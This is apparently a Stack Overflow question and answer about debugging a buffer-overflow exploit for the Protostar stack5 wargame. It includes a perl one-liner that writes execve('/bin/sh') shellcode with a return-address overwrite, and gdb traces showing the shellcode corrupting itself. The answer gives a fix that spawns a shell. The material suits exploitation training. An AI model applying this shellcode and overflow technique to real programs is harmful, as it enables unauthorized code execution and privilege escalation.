robert
robert

Reputation: 3726

Shellcode not executed properly

I am trying to solve Protostar stack5. Here is a solution. It puts the shellcode after the return address, I tried to put it before, in the array. I have tried the shellcode, it works.

It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb not all shellcode instructions appear properly. For example at 0xbffff690 should be mov %esp,%ecx not cwtl. Maybe this is the problem? Why is this happening?

Edit: Since the array address will be slightly different when it is started outside gdb we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb.

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

Upvotes: 1

Views: 1095

Answers (1)

Employed Russian
Employed Russian

Reputation: 213646

Interesting question. The answer is: you have a stack overflow in your stack overflow.

On my system, the disassembly for main is at a slightly different address:

(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    $0xfffffff0,%esp
   0x08048423 <+6>:     sub    $0x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.

The stack address is also different: the return address when stopped at 0x0804841d is 0xffffcedc, which means that by the time I reach gets the value of $eax is 0xffffce90, and I need to adjust exploit code accordingly.

I then set a breakpoint in *0x08048433, and execute the following commands once I reach it:

(gdb) display/23i 0xffffce90
(gdb) stepi

Here is what I then see:

0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)

So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe and stepi over it:

0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0x0,%al
   0xffffcec5:  add    %al,(%eax)

The push just executed overwrote the int80 that used to be at 0xffffcec5 with something else (namely content of $eax). This is because we are executing instructions on the stack, while simultaneously pushing values onto that same stack!

Another stepi, and I see this:

(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
=> 0xffffcec0:  enter  $0xffce,$0xff
   0xffffcec4:  add    %al,(%eax)
   0xffffcec6:  add    %al,(%eax)
   0xffffcec8:  das

And the next stepi causes SIGSEGV:

(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.

So what's the solution?

When we enter code at 0xffffce90, our stack points to 0xffffcee0, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.

Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.

The shellcode needs to either pop some words (e.g. add pop %eax after the first syscall at 0xffffcead), or extend the stack with e.g. add $0x80,%esp upon entry so there is plenty of space between end of shellcode and top of stack.

I've used the latter, and it worked:

(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash

Upvotes: 3

Related Questions